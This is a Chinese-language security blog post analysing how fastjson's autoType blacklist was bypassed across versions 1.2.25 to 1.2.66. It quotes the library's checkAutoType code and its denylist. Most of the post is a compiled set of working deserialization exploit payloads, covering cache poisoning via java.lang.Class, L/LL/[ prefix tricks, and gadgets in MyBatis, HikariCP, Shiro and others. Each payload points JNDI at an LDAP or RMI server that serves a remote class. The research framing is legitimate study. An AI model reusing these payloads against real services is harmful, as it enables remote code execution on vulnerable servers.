fastjson绕过-2
前言
这里的话就多介绍几种绕过的机制吧,然后原理的话就稍微分析一下,因为绕过的版本太多了,绕过的方法虽然有所不同但最终都是对代码的恶意解读嘛
1.2.25绕过
先看一下1.2.25这个版本是怎么修复这个漏洞的,简单点说就是增加了一个黑白名单。
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
// autoTypeSupport默认为False
// 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 从Map缓存中获取类,注意这是后面版本的漏洞点
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
// 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
默认增加了一个黑名单和白名单,然后黑名单是有一些类的静止的然后白名单是默认为空的
默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历黑名单,如果引入的库以黑名单中某个类开头,就会抛出异常,中断运行
具体有些
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
这些是被ban的然后呢这些类就是没法加载了,我们绕过黑白名单的思路无非就是去找除开黑名单意外的恶意类然后进行加载,要嘛就想办法去把自己的恶意类加入白名单中,然后这里的话利用了一个非常规的手法,
这里的话我先说第一种方法,去加载到缓存中,在fastjson漏洞原理的的时候我们更流程的时候就知道了一件事情,就是fastjson在反序列类的时候会去它自己的缓存里面找是否加载过这个类(就是那个mapping),然后我们去看看修复的时候是否存在这个问题
就是这个地方,它回去从
缓存里面获取,如果缓存里面存在的话那么就可以直接利用了,然后我们就要去找怎么去往这个缓存里面加载这个类,然后问题就出在这里,这个是一个反序列化器,就是对应这fastjson在初始化的时候会把那部分类放到缓存里面去,然后放到缓存里面去的时候就会调用这个反序列化器具
调用反序列化器就会调用loadclasss然后问题就出在这里,它调用之后就会把我们传入的值给加到缓存里面,所以我们如果先加载一次,然后再反序列化一次就可以成果执行我们的恶意类
写payload
{{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
这是第一步的payload简单分析一下,前面这个lang.Class是为了调用那个类加载器,然后后面那个val是加载器里面的一个逻辑必须要是val才不会报错,然后就会把这后面那个值给附加到缓存Maping中
完整payload
class Demo5{
public static void main(String[] args) {
//这里我们就分为两步操作,但是代码要写在一起,因为我们需要初始化以后马上再调用反序列化所以需要衔接好
// 加载一个恶意类
//然后调用payload就行
String JsonString="{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8088/MLgWxhdi\",\"autoCommit\":\"0\"}}";
JSON.parseObject(JsonString);
}
}
这里就很简单了就是用ldap那个类去执行了一下就可以执行了,这个方法绕过的话其实不是最开始1.2.25的绕过中间还有很多其他的版本去绕过,我去收集了一下这些版本的绕过payload和原理整理了一下
1.2.25-1.2.41
它的问题出在loadclass这个方法,前面是我们会经过黑名单的判断
然后走到loadclass
然后后面有一个判断的时候,这有个语句是判断,如果类前面是一个大写的L
,后面是;
号的类,就会把这个两个符号删除然后类加载它,我感觉这个应该是用来处理异常的,
但是这里就成了我们利用的条件
String payload ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:8088/MLgWxhdi/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
1.2.25-1.2.42
我看到这个利用的时候我都觉得为什么修复的那么随意呀
就取字符的时候多加了一位那双写不就行了嘛
EXP
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:8088/MLgWxhdi",
"autoCommit":true
}
1.2.25-1.2.43
然后再43这个版本增加了一个如果有LL开始的类直接就抛出异常
然后有对另外一个地方没有过滤好
这里说的是如果类的第一个是 [
号也会去加载类,然后中间还有一些if语句去判断要些什么符号
EXP
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://127.0.0.1:8088/MLgWxhdi", "autoCommit":true}
1.2.25-1.2.45
这个版本的绕过的话是需要mybats的jar包
EXP
public class SuccessBypassEXP_45 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
"\"properties\":{\"data_source\":\"ldap://127.0.0.1:8088/MLgWxhdi\"}}";
JSON.parse(payload);
}
}
主要是一个黑名单的绕过,这里主要是一个利用JNDI注入去构造的漏洞,在JNDI里面有setter方法直接去赋值了然后调用了LOOK方法所以可以触发,这里就不详细去跟了
借用一下一个师傅的
Java反序列化Fastjson篇03-Fastjson各版本绕过分析 | 芜风 (drun1baby.github.io)
1.2.25-1.2.47通杀
这个通杀的话就是我最开始介绍的那种方法利用loadclasss去把前面类给加载到缓存里面,然后再加载的时候就可以了
1.2.5- 1.2.59
需要开启AutoType
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://127.0.0.1:8088/MLgWxhdi"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://127.0.0.1:8088/MLgWxhdi"}
1.2.5 -1.2.60
无需开启 autoType:
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://127.0.0.1:8088/MLgWxhdi"}
1.2.5-1.2.61
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
1.2.5-1.2.66
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
小结
这篇文章的主要内容是在1.2.47前的通杀绕过利用loadclass绕过check机制,后续的话需要去慢慢研究一下较高版本的绕过就是1.6.21以后的,上面的大部分是一些收集的一些payload和一些简单绕过,后续就有基于新的机制的绕过